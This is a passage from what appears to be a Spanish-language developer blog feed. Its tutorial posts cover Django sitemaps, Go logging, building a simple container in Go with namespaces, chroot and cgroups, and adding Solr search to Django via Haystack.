Por ejemplo: “Una empresa quiere implementar una casilla de votación en la que la seguridad sea máxima, ¿qué servicio de Microsoft Azure le recomendarías usar”.

Insignia de Azure Fundamentals

Si apruebas el examen, tendrás acceso a la insignia de Microsoft AZ-900 Fundamentals, la cual puedes registrar en Credly, o colocar directamente su badge en un sitio web, tu perfil de Linkedin u otro medio.

Esta es la mía, alojada en credly.

¿Cómo Crear un Sitemap Dinámico con Django?

Wed, 20 Jul 2022 00:00:00 +0000

Un sitemap es un archivo de tipo xml que funciona como un mapa para navegar tu sitio. De ahí el nombre; Site (sitio) map (mapa). Los motores de búsqueda, como google, bing, yahoo y otros, usan el sitemap de un sitio como punto de partida para analizar su contenido e incluirlo en sus resultados de búsqueda.

Un sitemap bien estructurado es crucial en SEO y la presencia de errores puede disminuir radicalmente las vistas de tu sitio web , como me sucedió a mi.

Estructura de un sitemap

Un sitemap es un archivo xml, que cuenta con un elemento llamado urlset, el cual es una colección de elementos url. Cada elemento url tiene una locación, en este caso su dirección url, una frecuencia de cambio, una prioridad y otros elementos opcionales, tales como imágenes.

Un sitemap es una parte crucial, pero no la única, del SEO técnico , todos los sitios web deberían tener uno.

<?xml version="1.0" encoding="UTF-8"?>
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9" xmlns:xhtml="http://www.w3.org/1999/xhtml">
   <url>
      <loc>http://example.com/objecto/1</loc>
      <lastmod>1970-01-01</lastmod>
      <changefreq>monthly</changefreq>
      <priority>0.8</priority>
   </url>
</urlset>

Sitemaps divididos

Cuando un sitemap es muy extenso es posible dividirlo en sitemaps más pequeños, usando un elemento sitemapindex y sub elementos sitemap, cada uno con su respectiva ubicación.

<?xml version="1.0" encoding="UTF-8"?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
  <sitemap>
    <loc>http://www.example.com/sitemap1.xml</loc>
  </sitemap>
  <sitemap>
    <loc>http://www.example.com/sitemap2.xml</loc>
  </sitemap>
</sitemapindex>

Framework de sitemaps en Django

Django ya cuenta con un framework interno para la generación de sitemaps, django.contrib.sitemaps, que nos permite crear sitemaps de manera dinámica en conjunto con django.contrib.sites

django.contrib.sites es un framework incluido en django que te permite manejar diferentes sitios web con una misma aplicación de django.

Para usar el framework de sitemaps, necesitamos agregar los dos paquetes a la variable INSTALLED_APPS y además agregar el identificador del sitio.

# settings.py
SITE_ID = 1

INSTALLED_APPS = (
    'django.contrib.sites',
    'django.contrib.sitemaps',
)

Como Django lleva un registro de los sitios que se manejan con la aplicación en la base de datos, necesitarás correr las migraciones para actualizar la base de datos.

Definir un sitemap en Django

Ahora redirígete a tu aplicación, al mismo nivel que tu archivo models.py y crea un archivo llamado sitemaps.py.

Dentro de este archivo vamos a heredar una clase de la clase Sitemap que nos provee Django.

# app/sitemaps.py
from django.contrib.sitemaps import Sitemap
from .models import Videogame

class VideogameSitemap(Sitemap):
    changefreq = 'monthly'
    priority = 0.8

    def items(self):
        return Videogame.objects.filter(published=True)

    def lastmod(self, obj):
        return obj.modified

items

Sobreescribiendo la función items definiremos el queryset que se usará como base, puedes modificarlo tanto como quieras: particionarlo, limitarlo a atributos de tus objetos o como prefieras.

location

Location se refiere a la url del recurso. Si no definimos un método location, Django usará el método get_absolute_url de nuestro modelo para generar.

# sitemaps.py
class VideogameSitemap(Sitemap):
    # ...

    def location(self, obj):
        return obj.metodo_personalizado()

changefreq

Se refiere a la frecuencia con que el contenido cambia. Puedes usar una función para generarlo de manera dinámica de acuerdo a atributos del mismo objeto o dejarlo fijo.

# app/sitemaps.py
class VideogameSitemap(Sitemap):
    
    def changefreq(self, obj):
        # ...
        return 'monthly'

Priority

Dicta la prioridad del recurso. Es posible usar una función para generar la prioridad de manera dinámica a través de los atributos o cualquier otro flujo que prefieras.

# app/sitemaps.py
class VideogameSitemap(Sitemap):

    def priority(self, obj):
        # ...
        return 0.8

Agregar un sitemap a las urls de Django

Ahora necesitamos agregar la url a nuestro archivo urls.py del proyecto.

La vista que usaremos, llamada sitemap, nos la provee django y nosotros le pasamos solamente un diccionario que relacione el sitemap que acabamos de crear y se lo pasamos como parámetro.

Dentro de la variable sitemaps puedes agregar otros sitemaps para otras aplicaciones.

from django.contrib.sitemaps.views import sitemap
from videogame.sitemaps import VideogameSitemap

sitemaps = {
    'videogames': VideogameSitemap,
}

urlpatterns = [
    # ...
    path('sitemap.xml', sitemap, {'sitemaps': sitemaps},
        name='django.contrib.sitemaps.views.sitemap'),
]

Estableciendo el nombre del dominio en el sitemap usando el admin de Django

Si accedemos al sitemap, notarás que la url base de las urls es example.org, para definir otro necesitamos modificar la base desde el administrador. El formulario se encuentra en /admin/sites/site/

Modifica el dominio por defecto del sitemap en /admin/sites/site/

Caché del sitemap

Recuerda que, generalmente, cuando estás creando un sitemap de manera dinámica, a partir de cada uno de los objetos de tu base de datos, estás accediendo a la base de datos y recorriendo toda la tabla por completo cada vez que lo generas.

Si tu base de datos es muy grande quizás no sea lo más conveniente, recuerda que múltiples bots monitorean el internet múltiples veces al día. Por lo que, dependiendo del tipo de sitio que manejas quizás te convenga guardar el sitemap en la caché de Django .

Logging con la librería estándar en Go

Wed, 06 Jul 2022 00:00:00 +0000

Como seguramente ya sabes, no deberías usar los prints para debuggear. La librería estándar de loggeo de go es mucho más versátil, añade fechas, nombres de archivo y otra información, además puedes redirigir los logs a la salida estándar, a un archivo o a donde tú quieras. Lo anterior puede volver más ameno tu proceso de debuggeo y tu testing en go más sencillo.

¡Hola! ¿Ya sabes que tengo un tutorial completo del lenguaje de programación Go completamente gratis?, puedes encontrarlo directamente en la barra del menú superior o haciendo clic en este panel

El Println de log

El paquete log viene integrado en la librería estándar de loggeo y su función más sencilla es el Println que, para fines prácticos, es como el Println de toda la vida pero con algunos beneficios integrados.

Por defecto al loggear algo con go nos devolverá la fecha y hora, seguido del mensaje que le pasamos como argumento.

log.Println("Mensaje")
// 2022/06/28 13:38:25 Mensaje

El método Println de log se comporta exactamente igual que el de la librería fmt , por lo que puedes pasarle múltiples parámetros y los imprimirá uno a uno.

Flags en el loggeo

Es posible cambiar el formato por defecto en el que se muestran los mensajes, cambiar el orden de los elementos o agregarle más información, llamando al método SetFlags y pasándole como argumentos cualquiera que aparezca en una serie de flags que nos provee go.

log.SetFlags(log.Ldate | log.Lshortfile)
log.Println("Mensaje")
// 2022/06/28 main.go:10: Mensaje

Existen más flags disponibles, además de los dos anteriores.

Flags disponibles

Hay flags disponibles para mostrar la ruta completa de nuestro archivo, el número de linea o para mover el prefijo y colocarlo antes del mensaje. Te los dejo a continuación.

const (
	Ldate         = 1 << iota     
    // Fecha en el tiempo local: 2009/01/23
	Ltime                         
    // Hora en el tiempo local: 01:23:23
	Lmicroseconds                 
    // Resolución en microsegundos: 01:23:23.123123.  Asume Ltime.
	Llongfile                     
    // Ruta completa del archivo y número de linea: /a/b/c/d.go:23
	Lshortfile                    
    // Archivo y número de linea: d.go:23. Sobreescribe a  Llongfile
	LUTC                          
    // Si ya están Ldate o Ltime usa UTC en lugar del tiempo local
	Lmsgprefix                    
    // Mueve el prefijo del principio de la linea y lo coloca antes del mensaje. 
	LstdFlags     = Ldate | Ltime 
    // Los valores iniciales son Ldate y Ltime
)

Manejando errores con logging

Además de mostrar información, es posible usar métodos, como Panic y Fatal, para manejar los errores de nuestro código.

Logging Panic

El método log cuenta con un método Panic que se encarga de imprimir un mensaje y llamar a la función panic.

log.Panic("El sistema se paniquea")

Panic tiene dos variantes:

Panicf: El equivalente a Printf, para dar formato con operadores de posición
Panicln: El equivalente a Println

Logging Fatal

Si queremos terminar la ejecución de nuestro programa al momento, sin permitirle al sistema recuperarse, tenemos a nuestra disposición el método Fatal.

log.Fatal("Error fatal ha ocurrido")

Al igual que Panic, Fatal cuenta con dos variantes:

Fatalf: El equivalente a Printf, para dar formato con operadores de posición
Fatalln: El equivalente a Println

Redirigiendo la salida del logging

Como te mencioné anteriormente, la librería nos permite redirigir, a través de su método SetOutput, la salida de nuestro logging hacia un destino; ya sea el Stdout, el Stderr, el Stdin o incluso un archivo.

log.SetOutput(os.Stdout)

En el ejemplo de arriba estamos redirigiéndolo a la salida estándar.

Redirigiendo hacia un archivo

Para redirigr nuestros logs hacia un archivo, primero necesitamos crearlo y, posteriormente, pasárselo como argumento al métoodo SetOutput, tras esto, todo nuestros logs escribirán en nuestro archivo y podremos consutarlos más tarde.

file, _ := os.Create(name: "programa.log")
log.SetOutput(file)
log.Println("Mensaje a archivo")
file.Close()

Loggers personalizados

El paquete log nos permite crear diferentes tipos de loggers, usando el método New, este método recibe los siguientes argumentos; primero, el destino de nuestros logs, como ya viste, este puede ser hacia el Stdout, el Stderr, el Stdin o un archivo; segundo, el prefijo a mostrar en cada mensaje; tercero, los flags con los que queremos dar formato a nuestros logs.

infoLogger := log.New(os.Stdout, prefix: "INFO: ", flags)

Una vez creado nuestro log, podemos llamar a su método Println para que se encargue de mostrarlo en la salida estándar.

infoLogger.Println("Este es un mensaje de info")

¿Cómo Funciona un Container de Docker Internamente?

Sat, 18 Jun 2022 00:00:00 +0000

Los containers, especialmente los de Docker, son usados en todos lados, solemos verlos como pequeños sistemas operativos aislados que se encuentran dentro de nuestro sistema. Usando los comandos básicos de Docker podemos modificarlos, crearlos, borrrarlos e incluso introducirnos en ellos y correr comandos, pero ¿te has preguntando cómo funcionan internamente?

Sabemos que un container es un proceso de linux con varias características:

Es un proceso, o grupo de procesos, de linux ejecutado por un usuario.
Está aislado del sistema operativo que lo aloja (Namespaces).
Tiene una cantidad de recursos limitada (Cgroups).
Cuenta con un sistema de archivos independiente al del sistema operativo en el que corre (Chroot).

Para lograr lo anterior los docker, y las demás tecnologías de contenedores, echan mano de algunas características de GNU/Linux (de ahora en adelante solo linux):

Procesos
Namespaces
Cgroups
Chroot

Voy a explicarlos muy brevemente pero tú puedes profundizarlos por tu cuenta si quieres.

Los contenedores de Docker usan procesos, namespaces y cgroups en linux

Proceso

En palabras simples, un proceso es una instancia de un programa en ejecución. Lo importante aquí es que cada proceso en linux cuenta con PID, que es un número que sirve para identificar el proceso.

Como ya sabes, puedes ver los procesos usando los comandos ps, top, htop , etc.

Un container es un proceso, o un grupo de procesos, aislados del resto del sistema operativo, por medio de un namespace.

Namespace

Un namespace limita lo que podemos ver.

Los namespaces son una capa de abstracción de Linux que aisla los recursos del sistema. Los procesos en el interior de un namespace están al tanto de los otros procesos que se encuentran en ese mismo namespace pero los procesos de un namespace no pueden interaccionar con lo que se encuentre fuera de ese namespace. Cada proceso puede pertenecer a un solo namespace.

Un namespace es lo que hace que un container se sienta como si fuera otro sistema operativo.

En linux, un namespace se desactivará cuando se termine de ejecutar su último proceso.

Tipos de namespaces en linux

Existen diferentes tipos de namespaces que controlan los recursos a los que tiene acceso un proceso:

UTS(Unix Time Sharing) namespace: Aisla hostname y dominio.
PID namespace: Aisla identificadores de proceso.
Mounts namespace: Aisla puntos de montaje.
IPC namespace: Aisla recursos de comunicación entre procesos.
Network namespace: Aisla recursos de red.
User namespace: Aisla identificadores de usuario y de grupos.
cgroups: Aisla la vista de /proc/[pid]/cgroup y /proc/[pid]/mountinfo

Por ejemplo, si usamos un namespace de tipo UTS, los cambios que le hagamos al hostname desde nuestro namespace no afectarán al hostname del sistema operativo principal.

Cada namespace tiene su propio hostname y domainname

cgroup

En linux los cgroups limitan lo que podemos usar.

Los cgroups, o grupos de control que nos provee el kernel de linux, nos permite organizar nuestros procesos en grupos, y limitar los recursos de CPU, memoria, entrada, salida, el número de procesos y los paquetes de red que genera cada uno de estos grupos.

Linux toma esta configuración leyendo una serie de archivos dentro de la ruta /sys/fs/cgroup/, podemos crear cgroups nuevos, o modificar los que ya existen, creando carpetas y archivos dentro de esta ubicación.

Por ejemplo, usando cgroups podemos decirle a linux: “limita el número de CPUs que puede usar este proceso a uno solo, y que solo pueda usar el 20% de la capacidad de CPU, además asígnale un máximo de 1GB de RAM”.

Los cgroups permiten limitar recursos del sistema

Chroot

Chroot, nombre que viene de change root, le indica a Linux que debe cambiar el directorio que está usando como root a otro, esto implica que ahora tendrá otra serie de binarios, configuraciones y procesos diferentes.

Crear un container desde cero con Go

Simplificando lo anterior necesitamos:

Namespaces: para aislar los procesos de nuestro container del sistema operativo principal
Chroot: para dotar a nuestro container de un sistema de archivos diferente al del sistema operativo principal
Cgroups: para limitar los recursos de nuestro sistema a los que nuestro container puede acceder

Ahora vamos a crear la base del container de la misma manera que Docker, usando el lenguaje de programación Go .

package main

import (
	"fmt"
	"os"
	"os/exec"
)

// ./container.go run <comando> <argumentos>
func main() {
	switch os.Args[1] {
	case "run":
		run()
	default:
		panic("El comando no existe")
	}
}
func run() {
	fmt.Printf("Código ejecutándose %v con el Process Id (PID): %d \n", os.Args[2:], os.Getpid())
	cmd := exec.Command(os.Args[2], os.Args[3:]...)

	cmd.Stdin = os.Stdin
	cmd.Stdout = os.Stdout
	cmd.Stderr = os.Stderr

	cmd.Run()
}

Te explico el código a continuación.

Dentro de la función main, os.Args[1] devuelve el primer argumento del programa, en el caso de que el primer argumento sea run, ejecutará la función run. ¿Fácil no?

./container run <comando> <argumentos>

exec.Command se encargará de ejecutar lo que le pasemos después de run, como un comando a ejecutar, junto con sus argumentos, esto puede ser un echo, un bash, un ls, o lo que tú quieras.

./container run echo "Hola mundo"
Código ejecutándose [echo Hola mundo] con el Process Id (PID): 292753
Hola mundo

Las siguientes lineas con el prefijo cmd se resumen en lo siguiente.

Redirigimos la entrada estándar del comando a la entrada estándar del sistema operativo.
Redirigimos la salida estándar del comando a la salida estándar del sistema operativo.
Redirigimos la salida de errores del comando a la salida de errores del sistema operativo.

¿Y esto que significa? Significa que, en este proceso, todo lo que escribamos en nuestra terminal se irá directo a la entrada estándar del comando que está almacenado en cmd.

Para finalizar:

cmd.Run, ejecuta el comando que creamos con exec.Command

Containers y namespaces en Linux

Hasta ahora contamos con un programa que crea un proceso a partir de los argumentos que le pasemos.

Todo bien hasta ahora, pero tenemos un problema; no estamos usando namespaces, por lo que nuestro programa no está aislado del resto del sistema; podemos ver todos los procesos del sistema operativo principal y además estamos usando su sistema de archivos, en lugar de un sistema de archivos propio para el container.

Para asignar un namespace a nuestro programa, vamos a usar el método SysProcAttr, para crear un nuevo namespace de tipo UTS.

func run() {
	fmt.Printf("Código ejecutándose %v con el Process Id (PID): %d \n", os.Args[2:], os.Getpid())
	cmd := exec.Command(os.Args[2], os.Args[3:]...)

	cmd.Stdin = os.Stdin
	cmd.Stdout = os.Stdout
	cmd.Stderr = os.Stderr

	cmd.SysProcAttr = &syscall.SysProcAttr{
		Cloneflags: syscall.CLONE_NEWUTS,
	}

	cmd.Run()
}

Como se lee en la lista de los namespaces, UTS es el namespace para aislar hostname y nombres de dominio.

Namespace UTS

Tras establecer el Cloneflags, cualquier cambio que le hagamos al hostname se realizará solo dentro del namespace. En otras palabras, los cambios dentro de nuestro container no afectarán nada fuera de este.

# Hostname original
hostname
tuHostNameOriginal

# Cambiando el hostname dentro del container
./container run /bin/bash
hostname otroNombre

# El hostname cambió dentro del container
hostname
otroNombre

# Salimos del container
exit

# El hostname original NO cambió
hostname
tuHostNameOriginal

Aislando procesos con el namespace PID

Ya que vimos como funciona un namespace, vamos a usarlo para la función principal de un contenedor; aislar procesos.

Haremos los siguientes cambios al código principal.

En la función run, nos aseguraremos de que child sea un argumento siempre y por ende se ejecute la función del mismo nombre.
exec.Command("/proc/self/exe", args…) se encargará de realizar un fork de nuestro proceso con nuestros comandos.
CLONE_NEWPID se usará para crear un nuevo namespace para aislar los procesos en nuestro container.
El método Sethostname se encargará de establecer el hostname de manera automática, útil para saber que estamos dentro del container.

El resto del código hace exactamente lo mismo.

package main

import (
	"fmt"
	"os"
	"os/exec"
	"syscall"
)

// go run container.go run <cmd> <args>
func main() {
	switch os.Args[1] {
	case "run":
		run()
	case "child":
		child()
	default:
		panic("El comando no existe")
	}
}

func run() {
	args := append([]string{"child"}, os.Args[2:]...)
	cmd := exec.Command("/proc/self/exe", args...)

	cmd.Stdin = os.Stdin
	cmd.Stdout = os.Stdout
	cmd.Stderr = os.Stderr

	cmd.SysProcAttr = &syscall.SysProcAttr{
		Cloneflags: syscall.CLONE_NEWUTS | syscall.CLONE_NEWPID,
	}

	cmd.Run()
}

func child() {
	fmt.Printf("Código ejecutándose %v con el Process Id (PID): %d \n", os.Args[2:], os.Getpid())

	syscall.Sethostname([]byte("container"))
	cmd := exec.Command(os.Args[2], os.Args[3:]...)

	cmd.Stdin = os.Stdin
	cmd.Stdout = os.Stdout
	cmd.Stderr = os.Stderr

	cmd.Run()
}

Ahora, si ejecutamos el código veremos que el PID es 1, el primer proceso, ¡Ya tenemos aislados lor procesos! Sin embargo, como no hemos cambiado el sistema de archivos, veremos los mismos procesos de nuestro sistema operativo principal.

Recuerda que el comando ps obtiene los procesos del directorio /proc del sistema de archivos que estemos usando. En otras palabras, necesitamos otro sistema de archivos.

Establecer un nuevo sistema de archivos para el container

Para usar un sistema de archivos único para el container, que no sea el sistema de archivos de nuestro sistema operativo, echaremos de mano del comando chroot de linux.

Chroot cambia la ubicación predeterminada del root o raiz a un directorio que nosotros le indiquemos.

ls /otro_sistema_de_archivos
bin dev home lib ... proc

Este nuevo sistema de archivos puede tener otras librerías instaladas, configuraciones y estar diseñado a nuestro gusto, puede ser una copia del que estás usando u otro completamente diferente.

Para aislar los procesos de nuestro container vamos a:

Cambiar el sistema de archivos al nuevo con Chroot
Movernos al directorio raiz
Montar la carpeta proc en proc

func child() {
	fmt.Printf("Código ejecutándose %v con el Process Id (PID): %d \n", os.Args[2:], os.Getpid())

	syscall.Sethostname([]byte("container"))
	cmd := exec.Command(os.Args[2], os.Args[3:]...)

	cmd.Stdin = os.Stdin
	cmd.Stdout = os.Stdout
	cmd.Stderr = os.Stderr

	syscall.Chroot("/otro_sistema_de_archivos")
	os.Chdir("/")
	syscall.Mount("proc", "proc", "proc", 0, "")

	cmd.Run()
}

Ahora nuestro container va a leer los procesos de nuestro nuevo sistema de archivos, en lugar del sistema de archivos del sistema operativo principal.

Limitar recursos del container con cgroups

Por último, vamos a limitar los recursos a los que nuestro container puede acceder usando los cgroups de linux.

Los cgroups se localizan dentro de la ruta /sys/fs/cgroup/ y podemos crear uno nuevo creando una nueva carpeta dentro del tipo de cgroup.

En este caso limitaremos la memoria, por lo que nuestro cgroup estará dentro de /sys/fs/cgroup/memory/<nombre_del_cgroup>. ¿Recuerdas que te dije que los cgroups funcionaban leyendo una serie de directorios y archivos?

func child() {
    // ...
	setcgroup()
    // ...
}

func setcgroup() {

	cgPath := filepath.Join("/sys/fs/cgroup/memory", "nuevocgroup")
	os.Mkdir(cgPath, 0755)

	ioutil.WriteFile(filepath.Join(cgPath, "memory.limit_in_bytes"), []byte("100000000"), 0700)
    ioutil.WriteFile(filepath.Join(cgPath, "tasks"), []byte(strconv.Itoa(os.Getpid())), 0700)
}

Creamos un directorio para nuestro cgroup con los permisos de linux 0755

Generaremos dos archivos, dentro de nuestro cgroup, para establecer las directrices que queremos implementar

memory.limit_in_bytes, para limitar el máximo de memoria a 100 MB (100000000 bytes).
tasks para indicarle a linux que esta configuración de cgroup es aplicable al número de proceso (PID) de nuestro container, el cual obtenemos con el método Getpid.

Y listo, con eso tenemos un proceso con su propio sistema de archivos, aislado del sistema operativo principal y que puede acceder únicamente a una parte de los recursos.

¿Cómo funciona un container de Docker en pocas palabras?

Resumiendo, es posible crear un container usando namespaces, cgroups y chroot, para aislar del exterior, limitar los recursos, y proveer de un sistema de archivos propio, respectivamente.

El código de esta publicación está basado en una plática de LizRice en el ContainerCamp.

Otros recursos para profundizar en containers de Docker

Autocompletado, Sugerencias y Relacionados con Solr Y Django

Sun, 29 May 2022 00:00:00 +0000

Solr, en unión con Lucene, conforman un motor de búsqueda muy potente que permite realizar búsquedas con funciones avanzadas. en esta entrada te traigo un resumen con algunas de las funciones más interesantes de Solr y Django Haystack.

Doy por sentado que ya tienes una aplicación configurada de django con Solr , en caso de que no, revisa mi entrada anterior.

Comportamiento de las búsquedas por defecto AND y OR

Haystack nos permite definir un comportamiento por defecto para todas las búsquedas, ya sea unir los términos con operadores AND u OR. El valor por defecto es AND pero puedes modificarlo en el archivo de configuración.

# settings.py
HAYSTACK_DEFAULT_OPERATOR = 'AND'
HAYSTACK_DEFAULT_OPERATOR = 'OR'

Búsqueda por campo específico con Solr

Si queremos limitar nuestra búsqueda a un campo específico del objeto que definimos como índice simplemente se lo pasamos como parámetro, junto con la cadena de texto a buscar.

def vista(request):
    results = SearchQuerySet().models(<modelo>).filter(title='<query text>')

Esto nos permitirá buscar en el campo title nuestro término de búsqueda.

Importancia en los campos en la búsqueda en Solr

¿Recuerdas que Solr ordena los resultados por relevancia? A veces queremos aumentar la relevancia en ciertos casos, por ejemplo: quizás quieres que el último término buscado por tu usuario influya en la búsqueda. Para esto agregamos el método boost y el valor relativo de importancia que queremos darle.

Incremento por término de búsqueda

sqs = SearchQuerySet().boost('<término>', 1.2)

Incremento por campo

Cuando queremos que Solr le de mayor o menor importancia a un campo dado cuando realize una búsqueda, le pasamos el parámetro boost a nuestro campo.

# app/search_indexes.py

from haystack import indexes
from .models import Videogame

class VideogameIndex(indexes.SearchIndex, indexes.Indexable):
    # ... otros dcampos
    name = indexes.CharField(model_attr='name', boost=1.5)

Este incremento solo es válido cuando se filtra por el campo al que le estamos aplicando el boost.

SearchQuerySet().filter(SQ(content='<query>') | SQ(name='<query>'))

Sugerencias de búsqueda en Solr

Para activar esta característica necesitamos establecer esta opción en la variable HAYSTACK_CONNECTIONS en el archivo de configuración de Django.

# settings.py

HAYSTACK_CONNECTIONS = {
    'default': {
        'ENGINE': 'haystack.backends.solr_backend.SolrEngine',
        'URL': 'http://127.0.0.1:8983/solr/<nombre_del_núcleo>',
        'INCLUDE_SPELLING': True
    },
}

Configuración del search_index

Primero necesitamos crear un campo de sugerencias, que tomará su información del campo text que usamos por defecto.

class VideogameIndex(indexes.SearchIndex, indexes.Indexable):
    # ...
    suggestions = indexes.FacetCharField()

    def prepare(self, obj):
        prepared_data = super().prepare(obj)
        prepared_data['suggestions'] = prepared_data['text']
        return prepared_data

Además, necesitamos modificiar nuestro archivo de configuración solrconfig.xml y agregar la siguiente configuración

<searchComponent name="spellcheck" class="solr.SpellCheckComponent">
  <str name="queryAnalyzerFieldType">text_general</str>
  <lst name="spellchecker">
    <str name="name">default</str>
    <str name="field">text</str>
    <str name="classname">solr.DirectSolrSpellChecker</str>
    <str name="distanceMeasure">internal</str>
    <float name="accuracy">0.5</float>
    <int name="maxEdits">2</int>
    <int name="minPrefix">1</int>
    <int name="maxInspections">5</int>
    <int name="minQueryLength">4</int>
    <float name="maxQueryFrequency">0.01</float>
  </lst>
</searchComponent>

Y reemplazar el SearchHandler en el mismo archivo.

<requestHandler name="/select" class="solr.SearchHandler">
  <lst name="defaults">
    <str name="echoParams">explicit</str>
    <int name="rows">10</int>
    <str name="spellcheck.dictionary">default</str>
    <str name="spellcheck">on</str>
    <str name="spellcheck.extendedResults">true</str>
    <str name="spellcheck.count">10</str>
    <str name="spellcheck.alternativeTermCount">5</str>
    <str name="spellcheck.maxResultsForSuggest">5</str>
    <str name="spellcheck.collate">true</str>
    <str name="spellcheck.collateExtendedResults">true</str>
    <str name="spellcheck.maxCollationTries">10</str>
    <str name="spellcheck.maxCollations">5</str>
  </lst>
  <arr name="last-components">
    <str>spellcheck</str>
  </arr>
</requestHandler>

Si la configuración quedó de manera correcta, podremos obtener sugerencias para nuestras búsquedas de la siguiente manera.

query = SearchQuerySet().auto_query("<mla ecsrito>")
query.spelling_suggestion() # u'mal escrito'

Esto nos permite corregir pequeños errores en la búsqueda, justo como si usaramos trigramas en Postgres y Django.

Activar esta búsqueda me costó muchísimo trabajo, parece que no se activa por defecto y que tienes que realizar una visita a la url con &spellcheck.reload=true para que se genere el índice adecuado, pero quien sabe, quizás en versiones más nuevas no sea necesario.

http://127.0.0.1:8983/solr/#/<instancia>/query?q=text:<termino>&q.op=OR&spellcheck=true&spellcheck.q=<termino>&spellcheck.reload=true

Búsquedas excluyentes y exactas con Solr

Solr nos permite realizar búsquedas avanzadas usando el método auto_query, que nos permitirá una sintaxis de búsqueda similar a la que ofrece google y otros motores populares.

Usa un guion ("-") para excluir resultados que incluyan esos términos
Usa comillas dobles ("") para establecer el orden correcto de las palabras

query = SearchQuerySet().auto_query('<termino> -<excluye>')
otra_query = SearchQuerySet().auto_query('"<orden exacto>" -<excluye>')

Autocompletado con Solr

También podemos realizar un autocompletado de nuestro término de búsqueda, para que nos arroje algunas sugerencias válidas.

Para eso necesitamos primero crear un campo nuevo en nuestra clase que sirve como índice de búsqueda.

Usamos cualquier nombre y generalmente estarás usando un campo de tipo EdgeNgramField, de la misma manera, declaramos el campo de nuestro modelo al que hará referencia, en este caso name. La otra opción es un campo NgramField pero se suele usar para lenguajes asiáticos.

class VideogameIndex(indexes.SearchIndex, indexes.Indexable):
    # ...
    name_autocomplete = indexes.EdgeNgramField(model_attr='name')
    # ...

Ahora en la búsqueda

SearchquerySet().autocomplete(name_autocomplete='incompl')
# Devolverá resultados para: 'incompleto', 'incompletitud'

Resultados relacionados o similares

A veces queremos obtener más de un mismo objeto, esto es ideal para recomendaciones de productos en tiendas en linea. Para esto existe el método more_like_this, al cual le pasamos una instancia de un modelo de Django y nos retornará objetos similares.

Pero para que funcione, primero agregaremos el handler a nuestro archivo de solrconfig.xml en la configuración de nuestro núcleo de solr.

  <requestHandler name="/mlt" class="solr.MoreLikeThisHandler">
  <lst name="defaults">
    <str name="mlt.mintf">1</str>
    <str name="mlt.mindf">1</str>
    <str name="mlt.minwl">3</str>
    <str name="mlt.maxwl">15</str>
    <str name="mlt.maxqt">20</str>
    <str name="mlt.match.include">false</str>
  </lst>
  </requestHandler>

No importa que como obtengas la instancia, ni cual sea, lo importante es que obtengas una sola instancia y la pases como parámetro al método more_like_this

instance = Videogame.objects.get(name__icontains="<algo>")
# otro ejemplo: 
# instance = Videogame.objects.get(pk=5)
related = SearchQuerySet().more_like_this(instance)

Este solo fue un resumen de algunas de las funciones más útiles, para una lista completa revisa la documentación de django haystack .

¿Cómo implementar Solr para búsquedas o queries en Django?

Thu, 26 May 2022 00:00:00 +0000

Anteriormente te expliqué como implementar full text search en Django y trigramas y search rank usando Postgres. Solr viene a ofrecernos algo mejor, un motor de búsquedas robusto, estable y con muchas funciones avanzadas, listo para usarse, a cambio de un poco más de complejidad, más dependencias y tener que incluir Java (sí, Java) en nuestro projecto.

¿Cómo funciona Solr?

Internamente Solr usa Lucene, que es el motor de búsqueda que se encarga de generar un índice para realizar las consultas y todas las opciones relacionadas con las búsquedas, Solr agrega unas funciones extras y nos da una interfaz amigable para trabajar. De aquí en adelante me referiré a la unión de Lucene y Solr solo como Solr.

Simplificando al extremo, Solr recibe el contenido de nuestra base de datos (o archivo csv, pdf, json, xml, etc.) y, usando una plantilla o esquema (managed schema), genera un índice invertido con la información.

Posteriormente, cuando Solr recibe una consulta, consultará el índice generado, ordenará los resultados de acuerdo a su relevancia y los retornará.

Índice invertido

Solr funciona con un índice invertido. Es bastante similar al índice que aparece hasta atrás en los libros técnicos, en el cada tema del libro apunta a una página; en el indexado de nuestra información se generan tokens y estos se relacionan con los documentos que los contienen.

Ventajas y desventajas de Solr

Ventajas de Solr

Solr cuenta con muchas funciones avanzadas, tales como autocompletado, sugerencias, búsquedas por campo y otros.

El índice invertido de Solr permite realizar búsquedas entre millones de registros en milisegundos.
Solr permite generar sugerencias de búsqueda ante errores ortográficos.
Devuelve sugerencias de autocompletado.
Capaz de realizar búsquedas geoespaciales.
Panel de administración con herramientas de monitoreo.
Herramientas de análisis avanzadas.
Soporte para múltiples núcleos o instancias.

Desventajas de Solr

Configuración muy compleja.
Los parámetros de configuración cambian frecuentemente entre versiones.
Es necesario mantener el índice actualizado tras cambios en nuestros datos.
Requiere Java.

Instalación y configuración de Solr

Para instalarlo necesitamos descargar la versión adecuada desde la página de descargas de Solr . Para esta entrada usaré las siguientes dependencias:

Solr: versión 8.9.0
Django: version 4.0.4
Haystack: version 3.2.1

wget https://archive.apache.org/dist/lucene/solr/8.9.0/solr-8.9.0.zip
unzip solr-8.9.0.zip
cd solr-8.9.0/bin

Una vez descomprimido y dentro de la carpeta principal de solr encontraremos una carpeta bin/, con los binarios de solr.

El binario llamado solr tiene los comandos stop y start, para detener y arrancar, respectivamente, solr.

Usaremos start para ejecutarlo y, si no ocurre ningún error, tendremos un panel de administración disponible en el puerto 8983.

./solr start

Núcleos o cores en Solr

Un núcleo es una instancia de un índice con sus propios parámetros de configuración. Solr nos permite trabajar con diferentes núcleos.

Cuando usamos solr, interaccionaremos con un núcleo, por lo que es imprescindible crear uno para poder efectuar nuestras queries o consultas.

Crear un núcleo

Para crear un nuevo núcleo iremos a la sección Add Core y llenaremos la siguiente información:

name: El nombre a asignar a nuestro núcleo
instanceDir: El nombre del directorio de la instancia, debe localizarse dentro de <solr-x.y.z>/server/solr/ (Aún no existe)
dataDir: El directorio donde guardará la data generada (Aún no existe)
config: solrconfig.xml (Aún no lo tenemos)
schema: schema.xml (Aún no lo tenemos)

Para configurar Solr crearemos la siguiente estructura dentro de la carpeta de instalación de solr <solr-x.y.z>/server/solr/<nombre_de_la_instancia_dir>/

<nombre_de_la_instancia>/
├── conf
│   ├── lang
│   │   └── stopwords_en.txt
│   ├── protwords.txt
│   ├── managed-schema # Nuestro archivo de configuración personalizable.
│   ├── solrconfig.xml
│   ├── stopwords.txt
│   └── synonyms.txt
├── data

conf, contiene los archivos de configuración de nuestro núcleo. Modificaremos managed-schema más adelante.
data, contiene los índices generador de nuestro núcleo (ahora mismo está vacio).

Obtener los archivos de configuración.

